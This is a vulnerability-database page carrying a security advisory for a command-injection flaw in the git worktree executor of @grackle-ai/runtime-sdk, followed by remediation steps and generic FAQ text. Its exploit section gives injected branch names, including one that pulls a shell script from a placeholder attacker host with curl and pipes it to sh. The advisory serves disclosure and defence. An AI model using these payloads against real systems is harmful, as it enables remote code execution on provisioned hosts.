Vulnerability Database

355,754

Total vulnerabilities in the database

Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true) — @grackle-ai / runtime-sdk

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Summary

The default git executor used for all worktree operations spawns git through a shell, and the untrusted task branch name flows into the command unsanitized. A caller able to reach the PowerLine SpawnSession RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve arbitrary command execution as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox.

This advisory bundles two related defects in worktree.ts (audit findings F1 and F13).

Affected versions

@grackle-ai/runtime-sdk (and reachable via @grackle-ai/powerline) at version 0.132.1 and earlier. All publishable packages are lockstep-versioned.

F1 — Command injection via shell:true (primary, High)

Location: packages/runtime-sdk/src/worktree.ts:22-28 (sink), :135-143 (branch → args). Source: packages/powerline/src/grpc-server.ts:112 (req.branch), packages/runtime-sdk/src/base-session.ts:60,137.

NODE_GIT_EXECUTOR.exec runs:

const shell = process.env.SHELL || true; // worktree.ts:24 — always truthy const result = await execRaw("git", args, { ...options, shell });

When shell is truthy, Node does not pass args as a safe argv vector — it concatenates git + args into a single string run through sh -c with no escaping. The untrusted branch flows unvalidated from the SpawnSession gRPC request into:

["worktree", "add", "-b", branch, wtPath, startPoint] // worktree.ts:135-137 ["worktree", "add", wtPath, branch] // fallback :143

sanitizeBranch() (worktree.ts:50) is applied only to compute the on-disk worktree directory path — not to the -b <branch> argument — so it provides zero protection at the injection sink.

Exploit: set a task branch to x;curl http://attacker/x.sh|sh;# or $(touch /tmp/pwned). ensureWorktree runs it under sh -c, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value evilbranch;touch /tmp/PWNED created the file.)

The sibling git path in runtime-utils.ts:48-56 already uses execFileAsync("git", [...]) with no shell, confirming shell:true is unnecessary here.

F13 — Argument injection: missing -- separator (residual, Low)

Location: packages/runtime-sdk/src/worktree.ts:135-143.

Independent of the shell issue, branch is placed as a positional argument with no -- terminator. The sibling checkoutBranch (runtime-utils.ts:51) correctly uses ["checkout", "--", branch]. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; git worktree add exposes no dangerous flags reachable this way, so standalone impact is limited — but it should be hardened alongside F1.

Remediation

  1. Remove shell from NODE_GIT_EXECUTORexecFile('git', args) with the argv array is already safe and is the pattern used in runtime-utils.ts. This is the primary fix.
  2. Add a -- separator before positional refs/paths in both worktree add invocations.
  3. Defense in depth: validate branch at the gRPC boundary (grpc-server.ts) against git ref rules — reject names beginning with -, containing .., or containing shell metacharacters — before it reaches ensureWorktree.
  • Published: Jul 2, 2026
  • Updated: Jul 3, 2026
  • GHSA: GHSA-vv65-f55v-xm6g
  • Severity: High
  • Exploit:
  • CISA KEV:

No technical information available.

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.